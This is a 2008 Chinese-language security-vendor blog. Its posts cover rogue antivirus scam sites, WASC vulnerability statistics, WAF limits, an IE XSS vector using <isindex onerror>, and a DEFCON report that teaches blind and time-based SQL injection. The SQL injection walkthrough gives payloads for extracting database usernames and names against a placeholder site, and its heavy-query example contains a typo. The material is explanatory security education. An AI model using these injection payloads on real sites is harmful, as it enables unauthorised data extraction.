阿碼外傳-阿碼科技非官方中文 Blog

2008年9月14日

偽裝防毒軟體的網站真多!還有內情!

這裡有偽裝成防毒軟體網站可以看看網站的樣子,當然啦,網站內容會依據時令、節慶...等而有不同的。
建議大家要找防毒軟體可以到這裡,是有提供免費線上掃毒的。
這裡是免費線上間諜程式掃描的。
最後這裡有些各種免費的安全相關軟體。希望大家有睜大眼睛的哩。

在做些分析時,發現有些好玩的,這篇文章也想跟大家說這類網站真多,實在無法窮舉;用 google 搜尋一些詐騙、釣魚網站的網域,結果"Sponsored Link"都指到相同網站哩,看看下面三張圖:




所以用 google 查詢下列關鍵字:
totalsecure2009.com
smart-antivirus-2009.com
smart-antivirus-2009-buy.com
上面三個網站都是偽裝防毒軟體的詐騙網站,用這些網域在 google 上查詢,都會查到"www.free-web-browsers.com"的贊助連結。

再追查下去,會發現更多:




清查結果還真不少是唄,而且還是一直在換網域的,不過目前主要是這幾個 IP:
78.157.143.251
91.203.92.26
91.203.92.25
有興趣的可以自己查查,偽裝的詐騙網站真多,而且還一直換喔,不過這只是釣魚網站的部分喔。下圖,是贊助連結的網頁,目前是還沒有發現有惡意的行為,但...剎那不是永恆,切記。<廣告詞千萬不能信,我在替全天下男人解套...ccc>


本來想做些「網站信譽評等」的,但...坦白說我還是比較相信自己的,大家要培養自己的網路警覺性才行。另外偷偷告訴大家,91.203.92.xx 這網段真是黑,黑到底了,怎說,看看這裡吧,Exploits、Malware calls home、Zlob、Rogue、Trojan...幾乎啥壞事都幹盡了。

結論:
1.網路上真的有壞人。你的警覺性咧!
2.你認為這些主機在哪呢? Hosting...yes!! trouble!!<下次你 Hosting 的網段有一堆客戶連不上,千萬不要訝異>
3.壞人總是有用不完的網域(Domain),咦,好人也可以用哩...XD。
4.關鍵字搜尋結果、贊助網頁或贊助廣告連結,千萬要小心,先前有提過囉。
5.上述2.3.4.都是要花錢的喔。你認為他們從哪裡賺回來呢?

本文同步張貼於:資安之我見

作者 Crane 為 阿碼科技 資安顧問


繼續閱讀全文...

2008年9月10日

年度網站資安研究報告:跨站腳本攻擊(XSS)又是第一名

WASC 組織日前公布年度網站資安研究報告,受測的 32,717 網站共發現 69,476 個弱點,平均每個受測網站遭發現的弱點高達 13 個,其中判定為嚴重弱點就有 9 個!我們也擔心這麼多受測網站透過工具就被找到如此驚人的弱點數(相對地駭客也可善用他們的自動化工具),網站受駭風險真的需要大家正視。

三萬多個受測網站的平均弱點數(依低中高嚴重程度排列):



其中超過半數的弱點是跨站腳本攻擊(XSS),其次是資訊揭露(Information Leakage)、SQL 注入攻擊(SQL Injection),以及可預期的資源位置(Predictable Resource Location),再次印證具備「簡單好用、防不勝防」特性的跨站腳本攻擊(XSS)真是處處可見。

三萬多個受測網站被黑箱與白箱檢測工具所發現的「弱點類型分佈」:



三萬多個受測網站被"所有"檢測工具所發現的「弱點類型分佈」:




這份報告特別指出有趣的觀察是不同檢測工具有不同的弱點涵蓋率,第一類是全自動的網站弱點掃瞄工具(Automated Vulnerability Scanner)(圖表上的 %Sites(Scans)),第二類是半自動的黑箱檢測工具(Black-box Testing),譬如滲透測試(Penetration Testing),以及第三類是半自動/全自動的白箱檢測工具(White-box Testing),譬如人工或自動源碼檢測(Source Code Analysis)。第二類跟第三類合起來統計於圖表上的 %Sites(Black&WhiteBox)。統計資料顯示 7.72% 的受測網站可被全自動的網站弱點掃瞄工具發現"嚴重"弱點,但輔以黑箱與白箱的檢測工具時,則高達 96.85% 的受測網站會被揪出有嚴重弱點。

下圖的右方長條圖是此次受測網站被黑箱與白箱所發現弱點的涵蓋率:


作者 Dr. Benson Wu 為 阿碼科技 產品經理

繼續閱讀全文...

2008年9月8日

跨站腳本攻擊(XSS):過濾不完的惡夢,又有新攻擊語法!

跨站腳本攻擊(Cross Site Scripting,簡稱 XSS,亦翻為跨網站的入侵字串)又有新的攻擊語法!此次觸發惡意腳本不需要用到 script 標籤(譬如 <script>alert(1)</script>),也不用 javascript 協定(譬如 javascript:alert(1)),而是 8 月 26 日所揭露的

<isindex type=image src=1 onerror=alert(1)>

<isindex>是一個很早就有但普遍少用的標籤,其功能與<form>、<input>、<textarea>,以及<select>類似,都可供使用者輸入資料。onerror 屬性也是鮮為人知。
各家瀏覽器在實現 HTML 的支援度不盡相同,各國語系又對編碼有所差異,這些都使得跨站腳本攻擊(XSS)的攻擊語法千變萬化,也讓駭客更能規避掉不少治標的防護機制,像是 WAF 解決方案,畢竟新的攻擊手法就要新的規則(好加在我們家的 WAF 可以幫你生規則,請參考你期望的 WAF 是? XD),源碼檢測才是治本的作法阿,從 Web 應用程式端利用編碼、過濾等方式讓這些奇奇怪怪的攻擊語法全部繳械!(請參考談源碼檢測: CodeSecure的架構與技術

我們在各個常見瀏覽器平台(Microsoft Internet ExplorerMozilla FirefoxOpera,以及Google Chrome)的測試結果是,這個跨站腳本攻擊(XSS)新攻擊語法僅適用於 IE 系列的瀏覽器(含最新的 IE8)。註:我們在下列示範中所採用的 alert(1) 字串可換成各種惡意腳本,而並非跨站腳本攻擊(XSS)只能做到跳出一個視窗打招呼。

<isindex type=image src=1 onerror=alert(1)>
攻擊語法



稍加調整甚至不需要定義 src 屬性也可成功:
<isindex type=image onerror=alert(1) src=>攻擊語法


跨站腳本攻擊(XSS)不虧是名列最新 OWASP Top 20072007年 OWASP 十大 Web 資安漏洞)的榜首,「簡單好用、防不勝防」!

簡單來說,跨站腳本攻擊(XSS)的基本精神就是駭客在 HTML 文件中安插網頁腳本語言(譬如 JavaScript 或 VBScript),讓受駭方的瀏覽器在瀏覽網頁時進而去執行。這延伸兩個討論議題:
1. 為何駭客能夠在 HTML 文件中安插這些腳本?
在 Web 2.0 的時代,大部分的網頁或多或少都需要產生動態內容,都需要與使用者互動,一旦使用者所提供的資料(譬如惡意腳本字串)有機會成為動態輸出的 HTML 內容的一部份時,這樣惡意腳本就被成功地安插進原本合法無惡意的 HTML 文件了。這也是為何許多客戶最後選擇從源碼檢測著手,揪出這些進入點與輸出點,治本地解決跨站腳本攻擊(XSS)。

2. 為何瀏覽器會去執行這些腳本?
瀏覽器只是如實地遵循 W3C (World Wide Web Consortium) 所制定的 HTML 標準(目前最新版本為 HTML 4.01),正確地支援各語法標籤應表現的樣式與行為,因此當應該執行腳本時,就會執行這些腳本,儘管他們可能是惡意的,包括偷取 Cookie、置換網頁、轉址、攻擊其他網站等。

作者 Dr. Benson Wu 為 阿碼科技 產品經理

繼續閱讀全文...

2008年9月5日

你期望的WAF是?

這是一個重要的問題,尤其對我們而言。

網頁應用程式防火牆 (Web Application Firewall, WAF) 顧名思義,是用來保護網頁應用程式,對抗各式各樣針對網頁應用程式的攻擊的,當壞人的攻擊對象從網路轉向伺服器、再轉向應用系統,攻擊內容從網路層向上爬升到應用層時,好人的防禦措施也從防火牆、IDS逐步演進為 AP Firewall、IPS 等,而隨著 WWW 佔了極大量的網際網路服務比重與惡意攻擊比重,既有的對抗措施又不足以聚焦與回應針對 Web 的攻擊,才衍生出 WAF 這個特殊的資安產品類別。

我們從去年底推出網頁應用程式防火牆產品 SmartWAF,正式跨足 WAF 產品領域以來,可以看到客戶對 WAF 的期望:

1.簡單,好用 (那是當然的)
2.設定簡單(最好不用設定),免維護免管理,讓你忘了它的存在 (呃...)
3.防禦能力滴水不漏,刀槍不入

如果真的有那麼好就好了.....

系統在安裝佈署、管理維護、設定調校上的改進是各家持續努力的目標,這部份也是比較容易讓使用者感受到的效果。以 SmartWAF 來說,安裝系統用不到五分鐘就完成,加上基本的黑名單設定,不到十五分鐘便可佈署完成,怕誤擋還可以開成影子模式觀察有沒有誤擋的 Log ,而這僅僅需要十五分鐘的設定,就已經可以阻擋許多常見的網頁程式攻擊如 SQL Injection、 XSS 等,以及許多網頁弱點掃描程式的探測,而這時,還沒有使用到 SmartWAF 的白名單自動學習功能。

什麼? SmartWAF 有白名單學習功能?是唬爛的吧?

並沒有唬爛,只是我們的人在提供產品試用與操作說明時,的確很少使用到白名單自動學習功能,有些同業道聽塗說、以訛傳訛,還真的以為 SmartWAF 的白名單自動學習功能還在開發中,殊不知名為 Parameter Ruleset Creation Wizard 早已經可以從 HTTP Requests 自動學習並建立白名單,在最近推出的 SmartWAF v2.5 還新增了一個從 HTTP Responses 自動學習並建立規則的 Suggest Rules Wizard ,需要手動設定的部份又更少了!



而 SmartWAF 中的 Vulnerability Description Import Wizard ,可以將 CodeSecure 的源碼檢測報告直接匯入 SmartWAF 並產生出相對應的防護規則,直接針對弱點與弱點的進入點重點防護,更精準也更可靠。

以上的這些設定,總共設定起來也不到30分鐘(不含自動學習的期間),還沒有繁複的 Regular Expressions ,就可以將黑白名單設定完畢,常見攻擊也幾乎一網打盡,不知道這樣對使用者來說夠不夠方便了?

當然,還是會有觀察影子模式的紀錄中有沒有誤擋並且進行微調與排除的工作,這似乎很難避免,我們也在嘗試更好更快更簡單的方法,希望不久的未來就有新功能面世。

話說回來,當WAF設定了黑名單與白名單後,是不是就真的萬無一失、滴水不漏了?從 Wayne 之前發表的blog中(這裡這裡)就可以發現,BH & DC 都有講師提及 WAF 的使用限制,Arian Evans提的編碼問題就是一個例子,SmartWAF 可以解 URL Encoding ,但是如果碰上編碼過的 JavaScript ,尤其是多重編碼過的 JavaScript 也是沒輒,只能希望白名單能有效限制 XSS 的發揮空間了。

Wendel打穿 WAFWayne 的敘述)其實將 WAF 的限制整理的很好,例如他也有提到編碼,另外 XSS 的變形也是相當頭痛的,Rsnake 的 XSS Cheat Sheet 就列出了上百種變形攻擊的方法,要用黑名單窮舉是一件很要命的事,搭配白名單的限制功能也不容易完全防範,想要 100% Security,光靠 WAF 真的不容易,因為問題的根源還是在於程式的漏洞。

講到 Wendel 就先小小離題一下,他的觀念是對的,去利用這些跡象找出攻擊對象使用哪台 WAF 進行防禦,這是可以辦得到的,但是先決條件仍然是攻擊對象未妥善設定 WAF 。至於攻擊穿透 WAF 又是另一回事了,許多 WAF 的設定人員未必使用預設的規則來提供防護,加上白名單護體,就算知道攻擊對象用哪一種 WAF ,也未必就因此輕鬆穿了過去,即便是只有97%的防禦率,要真的能打穿也並不是就那麼的容易啊。

所以我們通常都跟客戶說的很清楚:『期望裝了 SmartWAF 後就天下太平,防火防水又防彈,網頁應用程式的漏洞也不用補,這樣有點不切實際,SmartWAF 的最大效益是可以爭取更多的時間,讓網頁應用程式漏洞有比較從容的時間修復,並且能夠顧及網頁應用程式以外的安全問題,例如 Session 、 Cookie 或 HTTP Method 等應用程式以外的安全問題。』在這樣的前提下, WAF 的防禦能力是否達到100%就不是最重要的事情了。

你期待的 WAF 又是什麼呢?

作者 Wisely 為 阿碼科技 產品經理

繼續閱讀全文...

2008年9月4日

美國駭客年會 DEFCON 2008 觀察--第一天

豪不必馳千騎,雄不在垂雙鞬,天生俊氣自相逐,出與鵰鶚同飛翻 --李益

(此文續「美國駭客年會 Black Hat 2008 觀察--第二天」...)

0. 可以 program 的 DEFCON 吊牌
1. Schuyler Towne & Jon King: 美國最安全鎖頭 Medeco 的破解與完整揭露
2. Chema Alonso: 時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表
3. Kolisar: 空白字元:JavaScript 變形的新方法
4. Nathan Hamiel & Shawn Moyer:撒旦是我好友:用社交工程手法攻擊社交網路
5. Wendel Guglielmetti Henrique:打穿 WAF
6. 黑白帽相見歡(Meet the Feds)
7. NIST:量子加密(Quantum Cryptography)
8. Thomas Wilhelm:移動駭客空間(Mobile Hacker Spaces)

(抱歉讓大家久等了,我發現每天要到晚上一點多才有空 blog。)

昨天晚上沒有先來 DEFCON 報到,今天早上報到隊伍排得好長。排我前面跟後面的兩個人都在跑 metasploit nmap ;前面一個人是用 iphone 裝了 cydia要裝的看這)在跑,後面一個是拿他那低於兩百美金買的寶貝 XO Laptop 裝了 Ubuntu要裝的看這)在跑。穿著 tshirt 牛仔褲,沒有整理的頭髮,躲在厚重眼鏡後面因熬夜而快睜不開的眼睛...比起那些西裝筆挺,鞋子發亮,頭髮整齊,幽默風趣又能言善道的業務,這裡很多人看起來可能並不是型男,但是在數位世界中,他們是絕對的高手。

0. 可以 program 的 DEFCON 吊牌


DEFCON 這幾年的 pass 都做得很酷,今年的 pass,上面有一個 SD 讀卡機,還有 USB 接頭和一堆可以客製化的功能--可以無線傳輸,發出紅外線訊號充當電視遙控器,或相互通訊等。我一報到完一樣,雖然付費參加,還是跟 nico 和 dirk 知會過,拿了另一個媒體的牌,並簽了拍照的合約。DEFCONBlack Hat 比起來,對於拍照更是敏感,所以我一直都很小心,也跟他們一直保持互動。底下綠色的是媒體 pass,白色的是一般的 pass。



看看其他人加工過的牌子吧!照片是這裡來的


這個牌子可以讓你自己焊接一個 USB 接頭上去,就可以開始設計他了。所有需要用的軟體工具與 SDK,在 DEFCON 的 CD片中都有附。贏得比賽的人,可以拿到一個黑色的牌子,就獲得終身免費參加 DEFCON 的資格囉!設計這個牌子的是外號「Kinping」的 Joe Grand,以下是他介紹整個設計的訪問影片:



1. 美國最安全鎖頭 Medeco 的破解與完整揭露投影片

進去後先吃早餐,排隊排到都餓了。我坐下來,發現旁邊是一位很年輕的美國人,看來很想睡覺,眼睛幾乎睜不開了,但是手卻很忙,仔細一看,他正在開鎖,工具就擺在桌上。邊吃邊聊了起來,原來他就是 Jon King,正在開美國能做出來最安全的鎖:Medeco 的最頂級六針型鎖頭。Medeco 目前有超過四百名員工,在美國高階鎖市場市佔率達七成以上,凡舉各銀行,機密單位,軍方等,一律都採用Medeco 的鎖,所以一般美國鎖匠,也把 Medeco 看成是「終極神鎖」。

Jon 說他兩天沒睡了,眼睛睜不開,但是還是很熱心的一直跟我說,他是如何破解這顆鎖的。雖然我不懂鎖,但是聽起來真是有趣,找漏洞需要有一種特殊的「心理狀態」,而這種狀態,看來似乎實體安全跟資訊安全所需要的其實差不多。另外我更有興趣的是,他從驗證弱點到與廠商互動到公開攻擊方法的整個過程,也就是所謂的負責的弱點揭露(responsible vulnerability disclosure)的程序。這個議題雖然目前在資安圈,尤其是各大駭客年會上,正是個火熱的話題,但是在鎖匠的社群裡,這個議題已經有很長的歷史了(鎖跟電腦的發明差了多久?),可能也因為如此,似乎處理的方式也比較成熟。

Jon 與 Medeco 的故事,要從去年的 DEFCON 15 (2007)說起...

去年,Schuyler Towne 第一次來到 DEFCON,向駭客們介紹了 locksport。Locksport 是一個新興的文化,把研究鎖的設計與弱點當成興趣。這種社群最成熟的是在荷蘭的 TOOOL,每年都舉辦開鎖大賽 Dutch Open(這裡有 wired 2004 年大賽的報導),並努力希望奧運能加入開鎖比賽的項目。

Schuyler Towne 並在大會中發表了他創辦的「非破壞性進入(Non Destructive Entry)」雜誌。他當時演講的錄影在這裡,投影片在這裡

在另外一頭,Medeco 的首席工程師 Peter Field 首次於荷蘭 TOOOL 舉辦的開鎖年賽 Dutch Open 上演講。Peter 自 1960 年開始做鎖匠,於1978年被 Medeco 聘用,目前他已經擁有了超過 15 篇的美國專利。Peter 在開鎖大賽中長達四小時的馬拉松式演講充分表達了他對此社群的支持,也讓研究開鎖的社群與設計鎖的公司有了更好的互動。

而又在另外一頭,Jon King 今年 22 歲,在跟著美國海軍跑船之餘,利用空閒時間研究鎖的結構與開鎖的技巧,當然也研究美國最難開的 Medeco 鎖。2007 年九月時,其實 Jon 已經成功的開啟他他手上的 Medeco,但是他繼續研究,這是偶發事件,還是可以做出工具,讓攻擊可以簡單並系統化的重複?如果可以,那麼無敵的 Medeco 就算是真的配破解了。

Peter 演講後一個月,Jon 做出了 Medecoder 開鎖工具,可以重複地開 Medeco。今年二月,Jon 找上了 Schuyler Towne。他讀過 Schuyler 創辦的NDE 雜誌,他知道 Schuyler 可以幫他解決目前的一大難題:如何公開這個會讓美國所有最機密單位與銀行瞬間陷入危險的研究:Medeco 破解法與 Medecoder?

弱點揭露(vulnerability disclosure)中,雙方永遠是不對等的(就像最近 Google 與 RSnake 事件)。Medeco 是四百人的公司,背後還有美國政府。Jon 是一個 22 歲的小伙子。如果 Jon 與 Medeco 簽了保密合約(NDA),那麼 Jon 沒有 Medeco 允許,不能公開他找到的弱點。可是這種弱點可能讓一個製鎖公司瞬間瀕臨倒閉(記得 2004 年 Kryptonite 事件嗎?),Medeco 會讓 Jon 出去講嗎?可是如果不講,Medeco 可能根本不改善弱點,或者出新版後也不承認舊版有弱點(鎖不能 binary diff patch 吧?)如果 Jon 不簽 NDA 而直接完整揭露(full discloser),Medeco 可以稱此為不負責任揭露,發動輿論攻擊或甚至提告 Jon。故事會如何發展呢?

今年四月,Peter 帶著各種工具、零件與攝影機,來到了 Jon 住的公寓。五月,Medeco 已經設計出新一代產品:ARX 並可以生產,對於已經賣出的產品也有了修改套件。七月,Jon 首次於 The Last Hope 資安會議上展現此弱點與攻擊技巧:



七月底,Jon 寫的關於 Medeco 的完全揭露(full disclosure)公布於 NDE 雜誌第四期,裡頭註明了,此篇應 NDE 要求,延遲兩個月公布,目前兩個月時間已過,Medeco 也出了新產品 ARX,Jon 的攻擊對於新產品已失效,對於已經在市面上的眾多舊產品,Medeco 已經出了修補的套件。今天在 DEFCON,Schuyler 與 Jon 首次同台,共同講述了整個從發現弱點、設計攻擊工具、通知廠商到完整揭露的整個過程。整個演講有一半在探討負責的弱點揭露(responsible vulnerability disclosure)程序,內容大致與 NDE 第四期的第一篇文章相同,有興趣的朋友可以讀一讀。



演講中最精彩的,莫過於 Jon 當場拿他設計的工具示範開鎖。第一次很快地,他手一揚,結果又收回來,因為原本以為開了,但是手一抖就沒開成。這時 Jon 說:「各位,我希望我在 DEFCON 能開成,但是我兩天沒睡了,不能保證...」這時很多觀眾幫他出聲打氣:「You can do it Jon!」。一瞬間,從攝影機看到鎖頭動了,轉到開的位置,Jon 立刻把鎖頭高舉,大家興奮得一直鼓掌...



2. 時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表:對於 MS SQL Server、Orcale、和 MySQL資料庫皆實際有用(Time-Based Blind SQL Injection using heavy queries: A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool)投影片)(whitepaper)(程式下載)(whitepaper)(extras)(Marathon 工具下載)

Okay,我又得承認,這中間我又開溜了,我跑去聽跟我們做得很相關的滲透測試手法:「時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表:對於 MS SQL Server、Orcale、和 MySQL資料庫皆實際有用(Time-Based Blind SQL Injection using heavy queries: A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool) 」。

以下是講師之一的 Chema Alonso(大會blog):



這個手法的精神主要是,在 blind SQL injection 時,如果不同 SQL injection 指令的結果,無法由 HTTP Response 本身得知,那麼可以用時間差的方式判斷。可以設計一個很耗時的 SQL 指令,這時如果 SQL injection 成功,那麼這個 SQL injection 指令的執行結果,會影響到 Web server 回復 HTTP response 的速度,這個就可以用來判斷 SQL injection 指令執行的結果。

Chema 在台上 demo 時一下子秀出他吸大麻的照片,一下拿出照相機拍台下的聽眾,一下子不斷用西班牙話數著:「一、二、三、四、五,注入成功!」活像個超級黑客。他目前在馬德里的 Rey Juan Carlos University 大學攻讀博士學位,由 Dr. Antonio Guzman 與 Dr. Marta Beltran 共同指導。這個演講其實就是根據他寫的博士論文。

由於兩位西班牙來的講師,Jose Parada 在微軟工作,Chema 也曾獲微軟的 最有價值專家(MS MVP,此演講早在去年底就在微軟官方的 TechNet 上公布過了

Chema 有一個在西班牙很受歡迎的 blog,如果有興趣的朋友可以讀一讀,如果你懂西班牙文的話。不懂西班牙文,用機器翻譯一下,也會發現很多好東西。例如 Chema 寫了三篇()他的 DEFCON 心得,如果挖一下,你會發現他把他照台下的照片貼出來了。由於 DEFCON 很多人 裝備 打扮 身份 都必較特殊,不喜歡被拍照,一般規定是不可拍群眾的,所以外面很少照片流傳,沒有實際去過的人,也比較不容易想像會場樣子。他什麼時候會拿掉不知道,有興趣的可以看一下 ;-)

另外他也在 blog 上公布了他的投影片...其實他公布了所有人的投影片...其實他連 Black Hat 所有投影片也公布了...

還有很多好玩的啦,自己挖吧!我怎麼看得懂呢?我背後做一個西班牙來的同事 Roman 啊!

這個演講他們也有公布 white paper,在這裡,裡頭你會發現作者還包括另外四位:Daniel、Rodolfo、Antonio 跟 Marta。想看 video 嗎?如果你聽西班牙話的話,這裡有 Daniel 的演講,大同小異。

我就用他們的 paper,簡單帶各位走一遍好了!

先談 blind SQL injection 。假設我是攻擊者,那 Blind SQL injection 講白話些,一般是指在目標網站的資料庫沒有吐錯誤訊息的情況下,進行 SQL injection 的方法。在 SQL injection 中,攻擊者需要知道兩項重要資訊:

1. SQL injection 是否成功?定義:是否能有效影響目標伺服器所執行的 SQL 指令?
2. SQL injection 所注入之指令所執行的結果?

第一點很容易明白,攻擊者要進行 SQL injection,第一步就是必須能有效地從外部影響到目標 web application 所執行的 SQL 指令。如果目標網站有開啟 資料庫 error 訊息,那麼這點可以由 error 訊息來得知。如果沒有開錯誤訊息,則可以由其他方式,例如觀察在成功與失敗的狀況下,回傳網頁的不同而得知。

第二點則十分重要,因為當攻擊者能夠成功地注入指令時,接下來必須能夠得知,注入的指令在執行後的結果;尤其像一些利用 "if" 指令的比對方法,攻擊者必須能掌握指令之結果。我舉個例子。

假設有一個購物網站,其中有一頁,能讓使用者用產品號碼查詢產品。我們知道某產品號碼為 1234,則我們查詢時的 URL 如下:

http://www.victim.com/search.asp?q=1234

會列出產品序號 1234 的相關資料。如果序號查不到,回應的頁面就會寫「查無此產品!」

假設後端 SQL 指令如下,並且沒有處理變數「q」(q 是不乾淨的 tainted):


objConn.Execute("select * from product_table where serial=" + Request.QueryString("q"));


攻擊者可以先測試此 URL:

http://www.victim.com/search.asp?q=1234 AND 1=0

發現回傳:「查無此產品!」

於是攻擊者再試第二個 URL:

http://www.victim.com/search.asp?q=1234 AND 1=1

發現回傳產品 1234 的簡介。於是攻擊者做出以下結論:

A. 此頁有 SQL injection 漏洞,攻擊者可以影響 SQL 指令並有效執行成功。
B. 執行的結果,可以由回傳的頁面不同來判定。

對於 (B),我們把第一個頁面(AND 1=0)稱做負頁面(false page),而把第二個頁面(AND 1=1)稱做正頁面(true page)。這邊目的 是要判斷 SQL condition 的 evaluation 是 true 或 false。

舉例來說,攻擊者於是可以設計以下 URL:

http://www.victim.com/search.asp?q=1234 AND (100>ASCII(Substring((select system_user),1,1)))

如果結果回傳負頁面,告訴我們此資料庫 system_user 名稱的第一個字元的 ASCII 碼小於或等於 100;如果回傳正頁面,則告訴我們第一個字元大於 100。自動化的攻擊工具可以在經過一串測試後,很快地把資料庫目前 system_user 名稱算出來。

感謝講師 Chema Alonso(大會blog)同意我們轉載他投影片上的任何內容,所以下面我們來看他投影片裡頭用的真實範例(內容完全根據投影片):

第一張我們可以看到,這是我們沒有對 URL 做任何改變時的畫面:


第二張我們把 URL 中加入「and 1=1」,結果回來的頁面是一樣的。這個就是我們的正頁面:


第三張我們把 URL 中加入「and 1=2」,結果回來的頁面不一樣。這個就是我們的負頁面:


這種比對的手法,可以把很多資訊解出來,包含資料庫名稱,table 名稱等等。

好了,所以對於 (1)「是否注入成功」與 (2)「SQL 指令執行結果」,在有錯誤訊息或回傳網頁會因結果而有變化的情況下,攻擊者可以很容易地做出判斷。但是如果這些訊息都沒有,就需要依靠 Blind SQL injection 技巧了。

Blind SQL injection 包含很多方法,從 2000 年大家陸續研究並提出許多 paper。對於初學者來說,整理得比較好的,我覺得是 SQLbfTools 這個 blind SQL injection 工具於於 Black Hat 2004 以及 DEFCON 2004 發表時的投影片。當時這篇發表的價值,是整理出可以判斷 true page / false page 的方法,包含 MD5、HTML tree 的分析、ASCII加總的線性表示等。其中利用 signature 比對的方式,跟我 WWW 2003 那篇提出的 NRE:R1=R2≠R3 的概念是一樣的。

而其實時間差用於 blind SQL injection 的概念,在當初 2002 年 NGS Software 的 Chris Anley 的 (more) Advanced SQL Injection 那篇就已經有提到了,以下幾個是他當時給的例子:

最簡單的來說,以下的 SQL injection 指令會讓我們在沒有知道目前資料庫的帳號是不是 "sa" (Microsoft SQL Server適用):


if (select system_user) = 'sa' waitfor delay '0:0:5'

接下來,看看這個 SQL injection:


declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1))
& ( power(2, 0))) > 0 waitfor delay '0:0:5'

根據時間差,我們可以得知目前資料庫名稱字串的第一個 bit 是否是 1。這個 SQL injection:

declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1))
& ( power(2, 1))) > 0 waitfor delay '0:0:5'


可以知道第二個 bit...連續做八次,第一個字母就出來了。假設資料庫名稱有二十個英文字母,也才需要做 80 次,況且現在很多工具都可以幫忙自動化這個過程。常用的自動 SQL injection 工具中,支援 blind SQL injection 的有 SQLbfTools(下載Black Hat 2004 投影片DEFCON 2004 投影片)、Absinthesqlninja 以及我好朋友寫的 SQL Power Injector 等:

SQLbfTools 畫面(從 Chema 投影片擷取):



Absinthe 畫面(從 Chema 投影片擷取):





sqlninja 畫面(從 Chema 投影片擷取):



SQL Power Injector:


事實上,比起人工的滲透測試,時間差判斷法對於自動工具來說更為重要。因為譬如正負頁面差異的方法,對人來說很好判斷,對自動的程式就比較不容易,因為網頁是很多動態的元件拼起來的,要識別一頁上什麼本來就一直變,要判斷什麼是因為 SQL 指令執行結果不同而變的,有時並不容易。事實上 2002 年我寫完 WWW 2003 那篇論文投稿後,就對這個題目很有興趣(類似 SQLbfTools 的研究),但是由於後來忙於白箱源碼檢測的研究,黑箱就沒有繼續。記憶中 WWW 2004 會議上時就有一篇是做這個的(但是不是給滲透測試用),但是是在 spacial domain 做。其實我覺得這樣的問題可以像大部分 Information Retrieval 模型一樣,拿到 frequency domain 來解。

講遠了,回正題,時間差識別法,對於自動化工具特別重要,因為這個方法容易自動化,不易因為自動化而造成誤判。

既然已經有了這麼多的工具,那麼 Chema 這篇的貢獻在哪裡呢?在於:

1. 他把適合各種平台用的時間差方法(在沒有 wait functions 的情況下)做了很好的整理,並擴充至不支援 T-SQL-like 語法的資料庫。他提的方法是可以通用於各種不同資料庫的,不受資料庫差異影響。
2. 他發表了開放源碼的工具 Marathon Tool

對於他整裡的時間差方法,因為時間有限,我簡單用他的第一個例子(MS SQL Server heavy query)敘述如下:


SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0 and 300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)


其實我們可以把這個指令簡化來看成兩個 evaluation 被 and 起來:

A and B

其中
A=SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0

B=300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)

這樣看就很清楚,A 是一個 heavy query,沒什麼特別,就是一個會讓 SQL server 做很久的 SQL 指令。

B 則是我們實際上要判斷的:sys.sysusers 的第一個字元 ASCII 碼大於或小於等於 300。

然後,這整個指令會先測 B,如果 B 成立才會測 A,而測 A 需要很久(幾秒)的時間。所以也就是說,如果 B 成立,伺服器的回應會慢,因為還要 evaluate A;否的話,則很快可以得到回應。其實講到這邊就講完了...但是,為何 B 會先被 evaluate,然後再 A,造成一個類似 if...then 的狀況?因為這種方式在 SQL injection 技巧中用的蠻多的,我們就來探討一下 :)

這是因為 SQL 語法有 short-circuit evaluation。某些語言,例如 C,有硬性規定 short-circuit evaluation 的運算元(operator)與先後順序(preference)。

例如以下這段 C 程式碼:


int denom = 0;
if (denom && nom/denom) {
oops_i_just_divided_by_zero(); // never happens
}


以上這段永遠不會 division by zero,因為 ANSI C 有硬性規定 "&&" 這個運算元有 short-circuit,而且順序是由左到右。所以因為 denom 是零,所以 nom/denom 永遠不會被 evaluate 到。

那麼這邊問題是:

1. C 有硬性規定,MS SQL 語法有嗎?
2. 如果有,那麼先後順序呢?

答案是,(1) 沒有,但是目前的實做是有,(2) 不一定!為了效率,MS SQL Server 確定會 short-circuit,但是順序為何?左到右?右到左?至今仍是個謎!

要探討這個迷,第一要注意的是,我們這邊運用的是 SQL 語法中的 short-circuit,而 SQL 語言非 procedural 語言。procedural 語言,例如 C,&& 或 || 都有定義 short-circuit,但是 SQL 語言中的 select...where clause,如果用的是「OR」這個運算元,那麼不用懷疑,沒有所謂 short circuit,因為在這種 context 下,被 OR 起來的所有 condition 都需要被 evaluate!所以網路上很多討論都是錯誤的。

至於 MS SQL "AND" 的 short-circuiting,當真是個謎,這裡試出來是左到右這裡卻是右到左。我沒有太多時間研究,但是我的猜測是,第一,MS SQL 不是 procedural language,所以不會硬性規定順序。第二,MS SQL Server 會根據如何做可以達到最佳效能,來決定所有被 AND 起來的 condition,誰先執行而誰後執行。基本原則是,快的先執行,這樣做 short circuit 才有意義。這是我個人看法,這裡有沒有熟 MS SQL 的看官?

無論如何,Chema 提的例子當中:A and B,其中:
A=SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0

B=300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)

因為執行順序為先 B 後 A(為什麼?我覺得因為 MS SQL Server 判斷 B 比較快 evaluate),所以如果 B 是 true,那麼就會執行 A。也就是說,如果 sysusers 的第一個字母的 ASCII 值大於 300 的話,伺服器的回應會慢,因為還要 evaluate A;否的話,則很快可以得到回應。

好玩吧!事實上,我覺得即使把 A / B 對調,變成:B and A,結果還是 B 會先被 evaluate。但是沒有試過就是了... :)

